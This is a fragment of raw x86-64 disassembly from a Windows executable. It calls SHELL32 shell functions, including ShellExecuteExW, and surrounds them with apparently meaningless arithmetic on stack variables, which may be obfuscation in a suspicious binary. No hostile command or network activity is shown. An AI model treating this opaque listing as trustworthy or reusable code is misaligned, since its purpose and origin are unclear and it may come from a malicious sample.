lea rcx, [rsp + 0x4990]
call qword [sym.imp.SHELL32.dll_ILGetNext]
mov qword [rsp + 0x4c50], rax
movzx eax, word [rsp + 0x5c4]
mov word [rsp + 0x20], ax
mov r9, qword [rsp + 0x49b8]
mov r8b, 0x34
mov dl, 0xaa
mov ecx, dword [rsp + 0x2410]
call fcn.1400db720
jmp 0x1400db534
mov eax, dword [rsp + 0x23c0]
mov ecx, dword [rsp + 0x2410]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4a30]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x40]
mov rcx, qword [rsp + 0x49c8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x41], al
jmp 0x1400db571
mov rax, qword [rsp + 0x4980]
mov ecx, dword [rsp + 0x23cc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x242c], eax
mov rax, qword [rsp + 0x49e0]
mov rcx, qword [rsp + 0x4978]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4a88]
mov qword [rcx], rax
mov rax, qword [rsp + 0x49c8]
movzx eax, byte [rax]
mov byte [rsp + 0x4954], al
cmp byte [rsp + 0x4954], 0x3b
je 0x1400db592
jmp 0x1400db61b
movsx eax, byte [rsp + 0x41]
mov rcx, qword [rsp + 0x49c8]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x40], al
lea r9, [rsp + 0x5c4]
lea r8, [rsp + 0x5e0]
lea rdx, [rsp + 0x12220]
lea rcx, [rsp + 0x4a70]
call qword [sym.imp.SHELL32.dll_SHBindToParent]
mov dword [rsp + 0x2484], eax
mov rax, qword [rsp + 0x49e0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4978]
shr rax, cl
mov rcx, qword [rsp + 0x4a88]
mov qword [rcx], rax
mov rax, qword [rsp + 0x49c8]
movzx r8d, byte [rax]
mov edx, dword [rsp + 0x242c]
mov rcx, qword [rsp + 0x4970]
call fcn.1400dcc30
jmp 0x1400db634
movsx eax, word [rsp + 0x5c4]
movsx ecx, word [rsp + 0x5c8]
and eax, ecx
mov word [0x140108008], ax
mov eax, dword [rsp + 0x23cc]
mov dword [rsp + 0x4958], eax
cmp dword [rsp + 0x4958], 0xae44
je 0x1400db651
jmp 0x1400db66d
mov eax, dword [rsp + 0x23c0]
mov ecx, dword [rsp + 0x2410]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4990]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2410]
movzx ecx, al
mov eax, dword [rsp + 0x23c0]
shl eax, cl
mov rcx, qword [rsp + 0x4990]
cmp eax, dword [rcx]
je 0x1400db6ac
movzx r8d, word [rsp + 0x5cc]
movzx edx, word [rsp + 0x5c8]
movzx ecx, word [rsp + 0x5cc]
call fcn.1400dc650
jmp 0x1400db6d7
mov rax, qword [rsp + 0x49e0]
mov rcx, qword [rsp + 0x4970]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [section..data]
mov rdx, qword [rsp + 0x4978]
shr rdx, cl
mov rcx, rdx
lea rcx, [rsp + 0x14860]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov dword [rsp + 0x2480], eax
mov rax, qword [rsp + 0x49c8]
movsx eax, byte [rax]
sub eax, 0x18
mov byte [rsp + 0x40], al
mov eax, dword [rsp + 0x3df4]
add rsp, 0x1bf28
ret